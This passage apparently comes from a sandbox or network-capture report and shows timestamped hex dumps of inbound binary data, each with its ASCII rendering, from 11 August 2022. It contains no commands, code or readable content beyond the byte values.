7b 5b ed ff 00 8d 4e ed 74 11 5c 98 51 c4 5d 62 01 46 9b ac 09 24 f1 50 3e 2a a5 76 f8 96 99 7e 3c d9 32 44 19 80 8e c4 
7b ee 2f de 7f 9a a2 d5 aa 7e 22 64 92 a5 cf 9a 48 04 02 46 e2 2d 6d 57 f4 d2 9e c3 44 93 2a cc 91 63 41 29 90 79 80 5c 
06 16 b9 d2 eb 57 4a ce 90 34 90 64 c0 16 20 6d 22 dc 0e 9c 7f df 58 22 18 04 7b 99 fc d2 77 25 80 48 d4 58 05 f6 16 63 
cd f3 56 ef 45 1f 7a c6 6c 90 c7 8a 0b 5b 71 67 25 41 04 dc 0e f5 8a fc 3f 0d 2d cd 80 f2 cd 8e 88 09 76 24 1b d8 6a 6f fe 
de 1a 12 b3 7c 0b 4c 4d d5 71 a0 de 1f f2 c7 21 6b e9 6e df f6 5a 6b 15 9f 0e 6e 26 bb ca 06 66 2e 56 f9 58 20 17 b0 63 
60 48 f0 9f 8a af 65 ab 0b 53 2b 39 27 93 97 0c 30 79 
Data Ascii: RuDNbFL*{[Nt\Q]bF$P>*v~<2D{/~"dHF-mWD*cA)y\WJ4d m"X"{w%HXcVEzl[qg%A?-v$jo|LMq!knZkn&f.VX 
c`HeS+9'0y

2022-08-11 03:42:55 UTC 5949 IN Data Raw: d3 06 fe 64 f0 84 1a f2 dc 7e 8f c3 5a 34 97 46 e2 22 09 e3 fd 24 c4 98 00 90 2e 8c 34 16 f6 36 be 16 a5 6d cb 
8e 81 56 10 ea 87 43 12 ed 07 5d 6e 45 66 9b f7 8c b5 1e 25 e5 1a fc ba 6b 50 d3 25 91 49 e1 7e e1 5d e3 56 4b 83 6f 
bd 6a a7 56 b8 fd e1 26 01 9d d6 57 0e 45 8c 91 7d 2e b7 00 58 fb 3e ed 6f 4c 3b d4 91 6b c1 07 ea d0 34 e3 14 b9 59 5a 
c4 12 46 b7 34 d6 17 1b a3 94 cd 97 36 46 5e f2 b8 f2 24 9a db 6a ea 46 bd bb bd f5 0a b5 8d 56 d0 4c 2e 25 94 31 13 b6 
c6 3a 6b 6b fe af 0d 64 da 8d 0e 94 d4 13 67 55 52 c8 c7 ef 58 f6 71 b5 4a 53 c4 c5 d8 91 c5 6d c3 c9 2a 91 83 73 71 c6 
fc 69 6e f7 8d 64 1b c8 97 42 a0 58 9d 6e dc 3f 47 8b ee d3 dc 8a de 8a c9 8a 39 8c 3b ef 36 d0 da 8d 35 b8 b0 17 aa d5 
a9 8e 52 93 92 99 16 2e 04 12 c7 4e 54 05 78 f8 aa d3 7e 
Data Ascii: d~Z4F"$.46mVC]nEf%kP%I~]VKojV&WE}.X>oL;k4YZF46F^$jFVL.%1:kkdgURXqJSm*sqindBXn?G9;65R.NTx
~

2022-08-11 03:42:55 UTC 5965 IN Data Raw: ab c7 8e b6 7a bf fa 19 ed 2c c4 ea 39 39 21 f7 37 e6 06 37 4d b6 0b fa ea 6f 8e b5 8f 77 88 a5 54 15 26 34 b9 
0b b2 7b ed e2 4d 87 ea bf c3 59 2b 2a ea 81 a4 01 89 d3 f0 60 95 d6 22 09 dd a8 04 f6 7d 9d d1 5b df 25 ec 94 81 a6 3a 
7c 12 ad 96 e0 7f 6f e9 ae 6f 31 a2 8a 8e 04 70 ed 31 c6 ec a0 f0 1c 3f 16 b5 5e 63 7c 5a 14 97 43 93 91 66 60 04 ab 7b 
00 40 4b 7d ad c6 a1 d6 bf 2f e3 05 50 06 e9 18 d2 39 96 78 84 4f c7 62 bd c9 f6 5f c5 6a e8 f3 ac 94 27 bb e2 82 a0 c8 
eb f0 3f 48 85 a4 c3 c5 68 f6 90 41 b6 a6 ff 00 f0 ae bf 4f 65 99 c5 ad 26 6d 49 e7 91 e7 e4 cf 0b 2d 9c 99 64 1b ec ba 5b 
b3 5f 8a f5 f4 0f 1d 6a fb 39 6b ca 56 c3 d1 3d 31 9c 45 e2 9d 5f cb 5e 64 60 2f fa cf b5 6b e7 fd 55 3b 54 49 75 46 c6 06 
14 b1 39 9b 12 49 59 1a ec cb 28 04 30 1c 76 ee 
Data Ascii: z,99!77MowT&4{MY+*`"}[%:|oo1p1?^c|ZCf`{@K}/P9xOb_j'?HhAOe&mI-d[_j9kV=1E_^d`/kU;TIuF9IY(0v

2022-08-11 03:42:55 UTC 5969 IN Data Raw: 8b e5 45 3f 35 7a 19 72 ff 00 95 0a 89 a5 de f0 ff 00 51 8b a3 61 5d 38 a7 5a 47 19 45 4a a1 20 6e 4d c4 16 1c 
b7 90 6d e5 5f 0d 65 92 70 b5 b7 fe ff 00 a4 cd a8 0a 68 b1 bd 3d 84 12 00 7c b2 0e e2 41 37 3e 2d 57 f7 6b 24 ed ea 2f 
2c cd ea 62 fa 73 d4 62 66 18 ea af 24 6f df 24 00 2e 7b cc 58 f2 fc b5 db ea 7d 34 6b c1 f6 1a 50 e9 73 fa bc 1d 32 16 84 
18 e2 66 52 6e 6d 61 71 c6 bc dc 78 5e 47 3c d6 36 bf d8 63 fa 76 33 91 8d f5 f9 2c aa 22 5e 57 5d a1 86 e1 6d 01 dd de 
f8 ab b3 d4 3d b6 db 5e f7 77 9b 69 0a d1 c0 51 fa 21 3a 9c 5e 6e 26 43 c2 93 a8 d1 8e bb 40 ee b6 bc da 7d da 1f ae 78 
9c 59 2b 6c 14 8f 93 d4 30 7a 04 22 0c 64 26 20 19 0b 0b d9 89 d3 6c 9b a9 57 1d f3 b9 b3 e6 ea f9 7e 53 26 a4 cd f4 96 
76 34 ac c7 20 6f 78 ef a0 1b 9b 8d ee 9b af 5d 3e 
Data Ascii: E?5zrQa]8ZGEJ nMm_eph=|A7>-Wk$/,bsbf$o$.{X}4kPs2fRnmaqx^G<6cv3,"^W]m=^wiQ!:^n&C@}xY+l0z"d& 
lW~S&v4 ox]>

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 5985 IN Data Raw: 32 cc c6 4c 9d 36 b8 6b 58 df 86 ce e0 5f 0f 2d 6f 5f 50 eb a2 d2 9e 12 42 f0 30 33 50 b4 73 48 0c 4d 6d 00 00 
e9 ed 2b 58 e4 c9 47 aa 5c c3 33 ba 96 4e 17 4e 80 ca 2f 14 49 cb 75 b8 dc 4f 7b 7d ef bb ed ae 9c 75 be 47 1d 4c c5 b9 
31 3a 2f ab 81 c2 20 45 b9 b7 32 80 af 62 a1 b8 59 78 de bb 73 fa 3e 7e 3f f4 ea da 06 57 4b f5 04 32 ca 70 73 10 85 2c 
6d bc d8 5f e7 db b6 ba b2 fa 76 96 ea bf ba 3d 4d fc df 48 e2 f5 49 41 c7 ff 00 c4 8d 17 50 bc c3 4f 9b db f1 57 05 3d 5d 
b1 2d 7f dd fc 26 90 d1 a1 1f a6 f1 65 55 85 f2 63 7c 78 b5 54 b6 80 f8 9b 8f 6f c5 5c ef d4 d9 6a aa f7 db bc 66 56 be 9c 
c0 9f 20 4f 84 f6 2a 16 c2 20 57 80 e5 d6 f6 bf c5 54 fd 4d eb 58 b2 fb e6 b8 d4 9b 72 4f 06 35 b7 83 72 6d 76 52 cb 5c 6a 
ae dc 0e b6 09 2c 32 64 38 95 dd 5d 08 b6 d1 
Data Ascii: 2L6kX_-o_PB03PsHMm+XG\3NN/IuO{}uGL1:/ E2bYxs>~?WK2ps,m_v=MHIAPOW=]-&eUc|xTo\jfV O* 
WTMXrO5rmvR\j,2d8]

2022-08-11 03:42:55 UTC 6001 IN Data Raw: dd 4c 9d 89 0b 63 6f 52 42 af 89 6e ad cc 0e ed ad 5e 72 f5 36 c5 c5 db 7c 7e 60 b3 2e 7f 4e 62 19 04 4f 18 f2 
d3 40 06 81 6f cd ca e7 ee f8 6a 57 a9 b4 4c ea 64 8d 6c 28 ec 80 86 6b 28 2c 81 c6 9a 7e f5 72 5d eb ff 00 7d a6 9b 81 
b2 b0 a1 46 58 55 ae 64 bb 2a 82 42 96 ef 36 9d ea d6 b7 6f 5f 0f de 2d 5a 4b b0 f1 e4 c5 c7 66 c7 36 4e c5 7d 6c 6f cc 
c2 d5 9d ec ad 6d 7f 09 52 59 99 2c 7f 4b 23 db 6d d7 52 74 b9 fd 42 95 13 dc 91 36 03 67 e9 fd 52 c6 10 ad 32 f0 52 de 
ee df 8a b6 8b e2 e3 d2 66 aa c5 91 0a c3 2f 9d 19 bc c4 0d 1b 52 3e cf 16 df ef 51 5b 4a 87 d2 38 2a cb ea 8b 81 cd 33 
89 25 28 4a 97 3b 14 28 ef 6d 1f ed ba aa 98 bc ce 1c b5 f8 79 c3 61 c8 af ab 31 72 21 90 c9 2b 17 89 f7 5a da 5b 50 bc 
df 0f dd af 59 fa 4b 55 a8 5d 48 7b 4d 28 fd 61 f5 d1 
Data Ascii: LcoRBn^r6|~`.NbO@ojWLdl(k(,~r]}FXUd*B6o_-ZKf6N}lomRY,K#mRtB6gR2Rf/R>Q[J8*3%(J;(mya1r!+Z[
PYKU]H{M(a

2022-08-11 03:42:55 UTC 6009 IN Data Raw: af c3 6a f7 b0 d5 7a 6a f3 69 e2 f1 0b 69 77 44 e8 3d 52 20 d1 e4 c6 d1 63 a1 24 96 52 40 b8 d7 66 87 76 ea 
59 b3 52 da d7 9a c6 9b 24 2e 07 7c a5 48 30 71 c8 20 91 2e e8 f4 2b e1 7d de 1a c5 d7 6c bb 3f 97 9b f0 8a b8 d9 b7 95 
ea 6c 9e 98 22 c2 98 cb 38 2c 07 9a 05 9c 8f 86 3f 97 ef 57 0d 7d 2d 72 4d 96 da 7c 1d df a8 6f 19 d5 61 e1 47 2c 5e 7b 
d8 6f 1b ce f4 01 bd c2 e7 c5 f6 d7 23 ac 69 26 ea b0 57 37 5b 87 a6 46 ab e5 4b 33 31 2c db 10 b0 b0 ed e6 db 53 5c 36 
c8 f4 7b 47 0d 93 8b ea 3a 8e 37 d5 45 1b 40 08 05 94 92 58 7f f9 35 e5 ad de 34 b4 ea 2d d6 51 ce 64 65 e0 e7 c8 b8 99 
31 ca 66 56 d4 b2 35 ec 75 6d 3b 37 7d ea d2 b4 be 35 b9 3a ed fe 28 e5 d9 0c de c9 ea 38 d8 08 b1 b2 31 b1 55 50 ba 
5e fe cf ba bd e6 f8 ab 85 62 b5 df 12 9d 60 50 f5 81 91 6f 
Data Ascii: jzjiiwD=R c$R@fvYR$.|H0q .+}l?l"8,?W}-rM|oaG,^{o#i&W7[FK31,S\6{G:7E@X54-Qde1fV5um;7}5:(81UP^b`Po

2022-08-11 03:42:55 UTC 6025 IN Data Raw: 41 20 db 8b 35 b4 db 59 d1 aa bd 0b b2 6f 89 bb 91 d4 93 21 97 15 db f8 b7 b1 bf b3 d9 5b bb ce 86 5b 60 8f 
57 8e 44 84 a9 72 b1 11 62 ec 40 2b f8 aa ec da 41 56 0d d3 ba 31 c0 c3 fa 78 75 2d 76 67 62 4d c9 f1 33 78 aa 55 5c 0d 
de 58 0e 07 a4 3a 5e 2c e7 3f 39 53 37 3e 5e 50 f2 0b 85 55 03 6c 50 27 85 16 a7 95 71 d4 b7 7b 3d 16 88 d7 c3 e9 78 
b3 b7 9e 98 d1 2b 8b db 4f d1 da 05 3a a9 e0 88 76 8e 26 92 63 42 2e 16 35 b7 03 61 6a d0 80 29 ba 5f 4c 9d c3 c9 0c 
4c dc 77 15 17 04 7b 0d 43 86 5a 94 5e d0 c5 23 6e be a2 89 42 82 6d 06 e1 75 b3 1e ca ae 22 32 7a b6 26 53 06 60 ea 
41 1f c3 71 75 3f fa fd da e7 ba 66 89 9e 73 d7 fa d6 4e 30 39 11 46 93 e3 90 56 48 98 76 1e 5f f6 6a e6 93 55 a1 c2 7a 5
7 3b 33 16 79 b1 c0 92 09 37 02 02 31 3a 78 52 eb de f9 6a 5b d7 
Data Ascii: A 5Yo![[`WDrb@+AV1xu-vgbM3xU\X:^,?9S7>^PUlP'q{=x+O:v&cB.5aj)_LLw{CZ^#nBmu"2z&S`Aqu?fsN09
FVHv_jUzW;3y71:xRj[

2022-08-11 03:42:55 UTC 6041 IN Data Raw: 5b 7b 69 a5 ae a8 9b 26 3b e5 4a ac 91 84 32 68 2e c3 51 7f 17 0e 15 0a ab 57 c0 40 03 a5 cb 3c c2 6b b2 46 
ba 10 a3 8d cf 1d d5 d1 e6 aa a8 14 1a e2 21 80 0d 95 4b bf 7a da b5 80 db ce cd 5c d3 e6 bf e1 f7 4d 0c d9 3a 76 36 43 
03 90 aa 40 66 d4 1d a4 eb c7 4f 0f c3 5d 1b ed 5e 97 fa 89 62 c5 84 60 03 36 42 7e 63 3b 19 15 b9 be eb 20 a2 ed d9 c2 
f7 72 ff 00 51 31 03 37 50 58 4a c9 61 8d 08 3a 80 a2 f7 ec 2c 75 b5 1e 5c e9 d7 61 8f d4 e4 ca bb e4 ef d0 21 d7 6e e3 
6f d3 a2 af c5 46 15 58 da 32 ce 86 b3 e4 c4 25 c9 61 0c 2d cd b0 ad 9a c4 10 a4 d2 cb 09 b4 b5 14 17 64 47 1c 72 29 79 
80 04 6a 4d f9 80 3e 15 ed 6b d4 d1 bf 70 70 1f 09 86 54 db 3c bd ad b5 ae bb 6c 18 91 cb b5 9a a6 ea 17 11 2d 45 36 e8 
63 0e d7 52 2c ac 6f 6b 7b 37 76 e9 53 5d 58 9a 03 cb ca 
Data Ascii: [{i&;J2h.QW@<kF!Kz\M:v6C@fO]^b`6B~c; rQ17PXJa:,u\a!noFX2%a-dGr)yjM>kppT<l-E6cR,ok{7vS]X

2022-08-11 03:42:55 UTC 6049 IN Data Raw: 4c 82 bd 07 d5 a3 e9 7d 5a 39 a5 d4 8d 2d ed be 9a d7 36 55 28 d6 ac d4 f5 ee 38 83 3e 7d 2f dd 6f d2 df fe 
35 95 0b 93 01 b2 d7 13 a7 6f 60 2f b6 d4 6c dd 71 ce 87 27 3f 53 9e 7c 70 ae 7f 2d bc 23 86 95 e9 d7 12 ad 84 9c 9d b7 
a6 33 41 e9 ab 24 96 45 17 b7 e8 af 27 d4 52 2e d0 01 e6 3b a4 20 21 36 94 ff 00 65 5d 16 bf c0 96 47 d3 d1 8f 35 dd b5 
2a 6d 7a bc af 81 26 ec 52 6e 90 0e c1 a0 ac 52 20 9f 59 eb 09 8b ff 00 86 74 f3 57 4f b7 d9 5b 2a 4e a5 26 77 f1 f5 85 7f 
4e e2 b4 1a 88 14 a3 2f cd c3 8f ed 57 23 d1 9d 12 79 64 9d 52 4c 09 e5 55 bb 2e e2 6b a1 56 51 32 55 e6 4e 62 c7 cd 46 
b1 57 e7 5e ce 3a de 96 89 b5 f7 45 21 bd 6f ab 49 85 86 e5 db 6b 48 09 1e eb 9e c3 4b 14 de d0 56 e8 34 7f a3 b8 ff 00 
55 d5 b1 cc a8 27 62 c4 ab 3e bb 2c 3b fb 7c 4d ec dd 
Data Ascii: L}Z9-6U(8>}/o5o`/lq'?S|p-#3A$E'R.; !6e]G5*mz&RnR YtWO[*N&wN/W#ydRLU.kVQ2UNbFW^:E!oIkHKV4
U'b>,;|M

2022-08-11 03:42:55 UTC 6065 IN Data Raw: 9b 4d 26 7f 53 c7 32 97 75 60 46 9a 92 75 e6 03 ef 57 ac aa a9 8d a4 76 63 94 a0 96 64 62 1d 92 ce 2c 51 bf 
b2 9d 5c e8 8e a9 80 9e ad 88 1d a3 99 0e 83 81 f7 55 51 c1 d3 63 0f 1a 56 5e a2 9b 4d 90 e8 de cb 7b eb a7 ba 73 5b 
88 57 a4 26 f3 a5 c8 82 47 2a 19 89 0f da 3e ef de e1 58 7a ba c2 4c c2 fc 08 7a 51 93 cf 0d 94 79 14 bd ef 5a 66 5f fa 0e 
87 4f e8 cf 52 4b 97 3b ab 58 08 dd 6c 23 5b 36 c2 76 9b 7c 57 f1 d7 91 eb 7d 32 aa 9f 14 f5 74 ee f6 e9 39 ac e4 df 7f 52 
61 c1 01 c3 9c c8 65 de ab b6 44 22 c7 77 f0 f7 b7 76 3e eb 7c dd da e1 ff 00 16 cd ee 51 c3 ba ff 00 17 cc 28 37 e6 67 f2 
63 c7 18 e0 88 d4 96 68 d8 10 a3 86 e9 2e 4b 6c dd dd fd da e2 4a 66 d2 24 43 a6 32 97 33 2c 85 4d 80 20 b9 bd ad f9 
7d 9f bd b6 96 49 5e df 78 47 99 f5 b8 86 1f a8 b2 d5 
Data Ascii: M&S2u`FuWvcdb,Q\UQcV^M{s[W&G*>XzLzQyZf_ORK;Xl#[6v|W}2t9RaeD"wv>|Q(7gch.KlJf$C23,M }I^xG

2022-08-11 03:42:55 UTC 6069 IN Data Raw: ab 3e 10 93 27 14 84 93 55 1a 5f bd 75 6e 3f 2e ea d9 e3 dc d2 64 59 95 74 8c 96 f2 5a fa 84 37 3f 65 56 6a 
6a 09 c1 6f 49 f5 36 5f 4a 8d d3 0c aa 99 0d d9 ac 0b 7d 83 e1 a8 cd e9 ab 95 a7 6e e9 ce ce f2 2f 5c b6 66 62 95 23 2a 
18 a3 8c f9 7b 4e e7 6b 59 d8 de e3 74 7f 13 57 87 6f 43 b6 bf fc 76 b3 b7 3f 82 bf d4 29 3b 0e 9d 92 91 4a f2 09 0e f9 ec 
cb 8e 54 16 d4 5d 96 2e dd 96 e7 65 af 1f 25 5b 49 47 47 fe ef ef 17 13 43 a9 a6 1e 1c fb 98 99 24 66 dd 12 f0 b9 51 c9 
7b 73 7c 55 8e 37 6b 2d 34 f1 07 13 c8 3d 4f d4 db 3b aa cf 9e 4e e2 d9 07 98 8e 36 af b0 c1 56 a8 93 f0 9d 28 f6 0f 4c 63 
63 e0 74 f8 08 21 a4 90 6a 14 9b b5 f5 6f ba 23 f1 7c 55 f2 5e aa 6f 7b 37 dd 39 ec f5 34 b3 88 62 24 02 f1 31 21 09 16 20 
78 59 7e 1a e3 a6 82 25 89 90 f3 1b 36 e5 07 81 
Data Ascii: >'U_un?.dYtZ7?eVjjoI6_J}n/\fb#*{NkYtWoCv?);JT].e%[IGGC$fQ{s|U7k-4=O;N6V(Lcct!jo#|U^o{794b$1! xY~%6

2022-08-11 03:42:55 UTC 6085 IN Data Raw: 0d 80 43 8e 31 8c 71 3c a3 73 4b 71 70 b7 b8 3c ca ff 00 f7 4f e2 db b6 86 e7 58 ec 10 54 ca 63 93 cb 55 48 
ee 77 82 a3 4b b7 29 da 2e d7 fb b5 9d da b6 a3 60 79 12 c8 ee b8 e1 7c f9 80 da cc a6 d6 26 fb 9c ee fc b6 f8 fe 4a 75 
aa e3 d0 81 ea 1d 8f 94 b3 44 23 49 82 47 0d 91 94 2d ee ac 0f e6 33 9d 17 5a ca d4 8d 5a e6 b0 d3 32 ba 8f 5c 9f 11 a3 
fa 00 66 68 af bd 96 e3 72 5b 9b 7e 96 da 7f 66 ba 70 e2 4e 77 72 6e 24 bf 1f 15 b3 71 77 cb 6f 3a 51 f9 61 4e eb 35 f7 
6d 76 f9 bc 5b 7b b5 29 c5 e1 02 44 30 30 d6 1c 30 32 15 16 57 56 26 35 17 92 fd 9e 66 ee e2 7e 2f 15 69 77 36 99 29 a2 
58 d8 ed 30 58 d5 83 3e d5 0e 13 41 ba dd 87 f4 56 7c 5f e5 90 48 d2 19 ac 5f 62 85 8d 61 b9 2a 6c 5b 41 67 71 af ee d6 
54 4e bf 6f e5 29 10 95 72 33 71 7e 88 ca d2 c3 1a 6e 56 
Data Ascii: C1q<sKqp<OXTcUHwK).`y|&JuD#IG-3ZZ2\fhr[~fpNwrn$qwo:QaN5mv[{)D0002WV&5f~/iw6)X0X>AV|_H_ba
*l[AgqTNo)r3q~nV

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 6101 IN Data Raw: 75 e5 fb d5 51 bb a5 c1 0d cb 2f c8 c6 9a 58 d6 30 84 45 11 de 0a db 76 9e 19 3c 68 be 2a ce 96 4b 88 80 f2 
5a 6e ab 22 43 1b 79 4d b2 ce c7 da 6d de f8 15 b6 fc df 35 6b 4d b5 e2 68 98 cd 8b 06 2b 85 55 5c 89 62 04 3c 83 99 01 
27 73 0f bd e1 df 53 69 98 98 a9 2d c3 2f cf 9e 6c c4 7e a9 3a ba c2 9b 83 0d e0 95 bf fd b0 07 22 db da cd 4d d9 db 96 
77 0d 64 84 36 1c 0a 2e 32 04 81 58 5f 95 b6 95 1e 0a c5 db 52 66 4d 2c 94 d8 3c 85 5d 8c 13 6e e6 6b f2 f1 52 cf c3 ef 
57 3a 7a b7 f6 f4 9a 3d 0c f9 4a ac bf 44 17 78 75 b7 99 7b 5b 4e 0a bf 0f 8b 7d 6c b5 5b bf 08 6f ed 08 c0 8b 18 ed 8a 26 
b0 b7 96 09 b5 f7 b7 79 b4 e6 55 6a b5 96 d5 ec dc ed f9 4d a9 96 10 03 e1 c9 2c f3 f4 d8 e3 59 76 38 b8 89 f4 f6 b6 f7 
e6 db 0c 7c bd cf 1d 6e da 4b 73 e5 fe 5b bd ac 16 bc 
Data Ascii: uQ/X0Ev<h*KZn"CyMm5kMh+U\b<'sSi-/l~:"Mwd6.2X_RfM,<]nkRW:z=JDxu{[N}l[o&yUjM,Yv8|nKs[

2022-08-11 03:42:55 UTC 6108 IN Data Raw: 84 81 30 a1 3b 92 3e 24 9b 10 38 2a 9d b5 c5 bd be 23 76 39 cc ec 86 c8 c9 12 e8 71 c2 95 00 ea c0 f0 db a7 
fb 73 d7 65 2a aa a3 bd 26 b5 b1 a7 d5 66 7c 5c 8f 3f 30 b3 20 4d 91 85 04 25 f9 6d b7 b7 93 e6 ad 5a dd 2b 43 59 25 3c 
d2 a2 ec 98 93 33 3a b2 96 b7 12 3b df 66 8b 5c 89 eb a7 00 2a c3 d8 ad 24 19 aa 50 49 c8 15 db bc 57 9b 43 f3 7d ef 96 
ae f2 b5 5a f7 ad f0 92 1f 8b 8c 31 57 e9 d1 17 68 dc 54 81 c3 79 ee 7b f5 ef 56 7e 6c ea c7 32 63 f5 2c 0c fc b9 a6 8b a9 
4c b1 29 0a c3 69 dc 4f 8b 87 b7 e5 6a eb a6 d5 ad 56 eb 77 8a 51 d8 61 e0 41 26 0e 73 ae 51 6e 60 59 36 9e 04 9f 1a 
7d 95 d5 95 4d 14 17 06 fe 36 2c f8 f3 3f 92 fb c9 bb 28 20 dc 10 4e ad f2 fc b5 83 aa b7 14 49 ac 52 1c 5c 68 a3 70 4a 4c 
f6 6e 4b 05 65 d5 9c df 9b 95 bb b5 9b dd 31 a6 c5 f8 
Data Ascii: 0;>$8*#v9qse*&f|\?0 M%mZ+CY%<3:;f\*$PIWC}Z1WhTy{V~l2c,L)iOjVwQaA&sQn`Y6}M6,?( NIR\hpJLnKe1

2022-08-11 03:42:55 UTC 6124 IN Data Raw: 5a eb de 1b d0 a7 32 3c 47 08 ef 02 3c 91 82 24 60 35 0a 79 b5 b9 e7 b5 15 6e 22 76 09 ea 46 0f 4b 45 34 ed 
1c 4c d8 c0 1d a9 27 98 a1 26 bd be 5f c9 d8 dd de f3 d7 5a ca 9b da 9a b0 70 3a 15 13 75 1c b3 9f 96 54 c6 8b e4 ee 2b 
71 b5 76 ef 6b 1e 4f cc 71 de 5d d5 9e 4c ed e8 54 19 5d 4a 34 69 0c c0 23 18 c0 d8 05 83 2a 93 b4 c9 1d fd bf bb 5c ea 
cf 83 5c 7f 11 10 2c 1e 88 bd 61 0f 50 4c ad b0 a8 da 17 cb 03 55 d7 9b c3 7f 9b 6f 35 6f 66 db 55 8f a8 6a 86 ee 5f 48 42 
cc a9 3c 58 e2 43 70 02 5d c2 85 dc 89 be fc bb f9 bb b5 d2 bd 2d 5f 6a 8b 1a ac 52 09 95 d1 e1 c1 c9 c7 75 91 26 89 ee 
32 2c fa a1 0b b9 a3 6d be 16 f1 51 93 d1 d5 25 1c c0 f0 c3 33 73 7a 41 13 b6 44 ed 8f 1c 81 97 6c 71 86 62 11 6c 74 97 
c2 1a ff 00 e1 a9 b6 35 8d 71 fa 44 e9 b4 bd ba d4 af 
Data Ascii: Z2<G<$`5yn"vFKE4L'&_Zp:uT+qvkOq]LT]J4i#*\\,aPLUo5ofUj_HB<XCp]-_jRu&2,mQ%3szADlqblt5qD

2022-08-11 03:42:55 UTC 6140 IN Data Raw: af 7d 49 dc b2 6c b7 0f 97 fc 34 f0 63 54 af 39 d9 5a a2 de b4 f9 1d 43 1b e9 63 8c 6c 92 cc 5a 23 6b 11 60 c3 
cb 93 6f 78 77 15 6b 7c 79 2b 0c d5 59 2d 07 e8 1d 3f a8 c3 91 1b 4e 91 b7 4a 52 0b 93 a1 07 68 5e ff 00 89 77 6d ee 53 
ae 3a d9 4e bf a4 1d e5 40 56 57 56 30 47 28 78 94 b0 90 85 37 b1 28 e6 fb f5 d3 62 af 2f c4 d5 9e 5c 32 a0 cd 22 f1 8c 
89 8d f4 f8 f1 2c 7b c9 6d 75 b8 e2 ef 6e 28 df e1 ae 6e 68 d4 24 96 6e 12 75 8c 7f 33 7e e8 8b 04 46 56 0a ed 6e 66 e5 
f8 03 7f d7 5b a9 a5 5d ab f8 86 8c f8 ba 4c f8 ec 31 24 fc e8 94 13 26 f6 b1 24 9f 31 9e df 02 fc d5 a5 b7 46 80 cd ac 0c 
39 da 44 11 92 63 17 62 07 12 4f 77 fd f5 ae 3b 6e 48 68 cf cb e9 f8 dd 5a 1c 8c 6c ab b8 43 68 9d 5b 6d cd f4 8b 97 ef 7c 
3c d5 b2 49 1a 6c 2a c2 cd c5 e8 65 31 71 ec 85 
Data Ascii: }Il4cT9ZCclZ#k`oxwk|y+Y-?NJRh^wmS:N@VWV0G(x7(b/\2",{mun(nh$nu3~FVnf[]L1$&$1F9DcbOw;nHhZl
Ch[m|<Il*e1q

2022-08-11 03:42:55 UTC 6148 IN Data Raw: d3 0c 21 a0 c6 24 c6 65 3c dc 39 76 ff 00 a4 3f 7e ab 36 3f 2b 4e 9d c6 5b 4c 6c 5c 04 ca c8 67 59 46 31 da c8 
fb 9b 70 da b6 e3 26 bb 9b 77 76 cb 5a 27 a4 3e 6e f5 7b bf 84 20 07 3e 5c be 89 04 d8 18 d9 2a 41 d9 26 e4 06 cd 7e 56 
be ef 87 b9 ba ba 55 6b 7b 26 d6 85 b0 ae 93 ea 69 fa 8c 47 1e 7b 0c 9d 40 55 e2 c5 79 77 15 ee fe ba e4 cb e9 96 37 2b 
a0 86 67 bf 5e 5c a6 fa 48 b9 22 8e ef 62 46 a4 59 bc 5f ba b5 ba f4 fb 79 9e b6 b6 84 ba 9d 57 47 e9 3d 4b aa cd 1e 56 
5c ca 90 a4 65 91 76 ee 3c c6 e5 59 79 76 ec b5 79 d9 bd 45 31 2d b5 5b ad bb db ef 02 50 1d d2 30 b2 71 27 10 60 c3 
14 d2 bb 16 97 76 e0 a9 1d fb 13 c4 13 77 c4 d5 74 ca ad ab 5f 27 7b 98 aa a0 2e a7 95 30 ea 41 33 ef 8e 5b f8 6a b2 0b 
8d a7 46 d9 fc 24 49 3c 3b fe 1d b4 28 86 ea a7 c5 cb f9 
Data Ascii: !$e<9v?~6?+N[Ll\gYF1p&wvZ'>n{ >\*A&~VUk{&iG{@Uyw7+g^\H"bFY_yWG=KV\ev<YyvyE1-[P0q'`vwt_'{
.0A3[jF$I<;(

2022-08-11 03:42:55 UTC 6164 IN Data Raw: 96 29 fd 5d 5f 0f 31 a5 de a6 9c b9 f3 83 08 c1 8c b3 c8 85 b7 31 62 db 47 15 23 c2 17 97 7f ec d7 3a a2 b2 7b 
bb ac b7 76 b8 17 f5 1c 9c fc 55 c7 62 80 49 31 57 50 bd d7 b0 2b b6 d6 d3 6e e6 de de 1a ea 4d d5 34 ff 00 f1 b4 6b e6 
34 61 75 1c a4 c7 9e 41 24 11 34 a1 95 ad 1a b3 14 dd cc cd e6 ee 4f da a3 0a 9a e8 de df 8d f5 6d f8 4e 76 f5 0e c9 9e 
06 33 3c 88 26 cc 0b c8 1a e0 7e 2e ed cf e8 e7 a8 77 77 6b bb 8f e1 07 6d cc 0f 07 02 0e 91 1a b8 2c 4c e4 12 83 86 eb 
72 f2 37 c1 e1 5a 2f 91 e5 7f 27 78 69 b4 b4 35 72 25 c2 86 3c 79 16 37 09 8c 19 a6 bd bf 33 b1 93 6f c5 f0 f2 d7 45 6b 5c 
8a 3b dd eb 7e d0 70 cc 48 f2 e6 8a 6d a1 db 6b 58 20 5b d8 86 23 f1 70 fd ea cd d5 46 9f 51 86 e8 65 f9 19 d9 79 0c b0 
c8 86 2c 70 cc 14 f6 f2 9b 73 6e 3b 9a b2 ad 2b 5d 
Data Ascii: )]_11bG#:{vUbI1WP+nM4k4auA$4OmNv3<&~.wwkm,Lr7Z/'xi5r%<y73oEk\;~pHmkX [#pFQey,psn;+]

2022-08-11 03:42:55 UTC 6168 IN Data Raw: 0d 1a 82 ad 63 f0 71 e3 f2 f2 d6 59 2b b7 56 f7 5b e2 fd c0 43 ab cb 91 26 59 54 12 6c b8 2a 06 8c 1b e6 22 db 
d9 7c 3f 05 69 4b 28 dc 0e 7b 01 c4 92 a2 9c 34 56 61 71 76 20 d8 58 f7 ff 00 47 86 9e 9d 53 fc 88 9e c3 37 ab 61 67 64 
5f 18 64 6c 9c b1 2c 97 0a a4 13 a7 22 f7 3d da d7 46 2c 94 5c db 79 44 33 7f 4c 64 4f 2a 03 90 cd 02 83 6d bc 4b 9f 0f ff 
00 93 fb b4 eb ff 00 24 ac dc 57 9e de df 78 6a a6 86 1f 4e ce e8 f2 3c 7c b8 b1 6d 31 23 06 0d 76 1c dc df fc bc d5 39 e9 
b9 27 64 ed cd cd ed e1 29 a2 1d 3f d7 b8 eb 22 e3 ae 3e d7 57 11 bb c9 25 c9 3c 0b 72 2d b5 ac b2 7f c7 da 26 7b 37 6d 
